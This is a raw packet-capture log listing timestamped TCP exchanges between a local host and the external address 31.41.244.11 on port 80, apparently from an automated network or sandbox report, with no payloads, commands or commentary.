Nov 1, 2024 10:57:10.264008045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264025927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264048100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264075994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264086008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264096975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264111996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264113903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264136076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264153957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264177084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264187098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264216900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264228106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264245033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264256001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264264107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264272928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264281988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264296055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264323950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264347076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264355898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264394999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264463902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264475107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264486074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264501095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264502048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264511108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264520884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264525890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264535904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264544964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264544964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264559031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264576912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264585972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264595985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264600039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264616013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264624119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264625072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264635086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264667988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264682055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264693022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264729977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264734030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264749050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264776945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264801025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264842033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264851093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264861107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264878988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264894962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264918089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264929056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264938116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264947891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264955044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.264974117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264982939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264982939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.265007973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.265011072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.265019894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.265033960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.265043974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.265048027 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.265053988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.265058994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.265075922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.265079975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.265094042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.265111923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.285211086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.285254002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.285362959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.285372972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.285406113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.285418034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.306148052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.306157112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.306195021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351583958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351634026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351644993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351660967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351670980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351680040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351686001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351691961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351716042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351732969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351809978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351819992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351830006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351859093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351875067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351878881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351891041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351901054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351918936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351928949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351938009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.351963043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351974010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.351983070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352008104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352026939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352170944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352183104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352193117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352216005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352241993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352243900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352255106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352279902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352291107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352507114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352550983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352559090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352590084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352598906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352600098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352627039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352650881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352662086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352698088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352726936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352736950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352746010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352761984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352772951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352790117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352797985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352801085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352813005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352823019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352826118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352838993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352848053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352849007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352873087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352884054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.352941036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.352982998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353002071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353013039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353044987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353061914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353071928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353086948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353097916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353106976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353108883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353118896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353148937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353169918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353180885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353195906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353208065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353214025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353218079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353226900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353235960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353238106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353257895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353271008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353277922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353288889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353311062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353322983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353328943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353353977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353362083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353364944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353390932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353406906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353420019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353430986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353440046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353455067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353480101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353507042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353528023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353538036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353545904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353565931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353621960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353637934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353648901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353657961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353662014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353667974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353683949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353707075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353740931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353751898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353766918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353776932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353780031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353790045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353799105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353805065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353827000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353828907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353837013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.353843927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.353871107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354569912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354581118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354589939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354603052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354631901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354643106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354657888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354669094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354679108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354696035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354696035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354707003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354729891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354729891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354746103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354757071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354768991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354789019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354794025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354804993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354815006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354832888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354867935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354906082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354917049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354927063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354938030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354943991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354968071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354984999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.354991913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.354998112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355012894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355024099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355024099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355036974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355058908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355166912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355178118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355186939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355197906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355209112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355216980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355221033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355226994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355233908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355247974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355247974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355259895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355273962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355273962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355298042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355326891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355334044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355344057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355355024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355369091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355374098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355381966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355402946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355489016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355508089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355520010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355531931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355535984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355545044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355555058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355561972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355568886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355587959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355592966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355604887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355616093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355627060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355634928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355638981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355653048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355655909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355667114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355686903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355695009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355706930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355716944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355731010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355736017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355763912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355793953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355825901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355838060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355848074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355860949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355869055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355873108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.355887890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.355926037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356386900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356414080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356425047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356440067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356460094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356493950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356515884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356532097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356544018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356570959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356589079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356667995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356714010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356714964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356728077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356762886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356794119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356805086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356815100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356825113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356857061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356858015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356868029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356878996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356889009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356889963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356919050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356942892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356955051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356965065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356981039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.356986046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.356992006 CET	80	49820	31.41.244.11	192.168.2.4
